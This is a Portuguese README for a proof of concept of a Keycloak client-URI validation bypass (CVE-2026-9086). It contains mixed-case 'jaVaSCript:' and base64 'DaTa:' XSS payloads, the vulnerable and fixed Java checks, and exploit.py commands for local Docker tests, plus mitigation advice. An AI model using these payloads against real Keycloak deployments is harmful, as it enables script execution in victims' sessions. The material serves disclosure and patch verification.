
Prova de conceito do CVE-2026-9086 para bypass da validação de URI do cliente Keycloak usando payloads XSS javascript: e data: em caixa mista, com verificação baseada em Docker das versões vulnerável e corrigida.
Este repositório é uma Prova de Conceito (PoC) da vulnerabilidade de Cross-Site Scripting (XSS) CVE-2026-9086, existente na validação de URI de cliente do Keycloak.
O Keycloak vulnerável validava os esquemas javascript: e data: de URIs configurados em clientes
de forma sensível a maiúsculas e minúsculas. Por isso, usando notações mistas como
jaVaSCript: ou DaTa:, é possível contornar a validação de esquemas proibidos. Como o navegador
interpreta esquemas de URI sem diferenciar maiúsculas de minúsculas, se a vítima clicar em um link
malicioso, é possível que JavaScript seja executado na origem do Keycloak.
Esta PoC inicia o Keycloak 26.6.3 (versão vulnerável) e 26.6.4 (versão corrigida) com Docker e registra a mesma URI de notação mista por meio da API REST de administração. Verifica que, na versão vulnerável, o registro é bem-sucedido e, na versão corrigida, é rejeitado com HTTP 400.
Esta PoC não abre a URI registrada no navegador e não executa JavaScript.
Este projeto destina-se exclusivamente a fins educacionais e à realização de testes de segurança autorizados. Não utilize este projeto para testar ambientes Keycloak de terceiros sem permissão. O autor não se responsabiliza por mau uso, danos ou atividades ilegais decorrentes da utilização desta ferramenta.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)manage-client ou acesso ao endpoint de registro de clientesO DefaultClientValidationProvider anterior à correção comparava os esquemas proibidos
usando String.equals().
if (uri.getScheme() != null
&& (uri.getScheme().equals("data")
|| uri.getScheme().equals("javascript"))) {
// reject
}
Como java.net.URI#getScheme() preserva maiúsculas e minúsculas da entrada, as URIs a seguir
não correspondem à comparação e passam pela validação.
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+
Na versão corrigida, é usado equalsIgnoreCase().
if (uri.getScheme() != null
&& (uri.getScheme().equalsIgnoreCase("data")
|| uri.getScheme().equalsIgnoreCase("javascript"))) {
// reject
}
Inicie a versão vulnerável e a corrigida com Docker Compose.
docker compose up -d
Serviços iniciados:
| URL | Versão | Resultado Esperado |
|---|---|---|
http://localhost:8180 | Keycloak 26.6.3 | Registro de URI bem-sucedido (vulnerável) |
http://localhost:8181 | Keycloak 26.6.4 | HTTP 400 (corrigido) |
A primeira inicialização pode demorar um pouco. Você pode verificar o estado com o seguinte comando.
docker compose logs -f
Quando Listening on aparecer nos logs de ambos os serviços, pressione Ctrl+C para sair da visualização dos logs.
python3 exploit.py \
-t http://localhost:8180 \
-u admin \
-p admin \
--expect vulnerable
Saída esperada:
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.
O script também obtém novamente o cliente criado pela API de administração e confirma que a URI maliciosa foi armazenada.
python3 exploit.py \
-t http://localhost:8181 \
-u admin \
-p admin \
--expect fixed
Saída esperada:
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.
data:Ao especificar --scheme data, é possível verificar uma URI DaTa: de notação mista.
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed
docker compose down -v
O exploit.py realiza apenas as seguintes ações:
admin-clijaVaSCript: ou DaTa: de notação mista em redirectUris/admin/realms/master/clientsNão há inicialização de navegador, navegação para a URI registrada nem execução de JavaScript.
Atualize o Keycloak 26.6 para 26.6.4 ou superior e o Red Hat build of Keycloak 26.4 para 26.4.13 ou superior.
Além disso, audite as configurações de URI dos clientes existentes e remova quaisquer valores que usem
javascript: ou data:, independentemente de maiúsculas ou minúsculas.
Restrinja também a permissão manage-client e o acesso ao endpoint de registro de clientes ao mínimo necessário.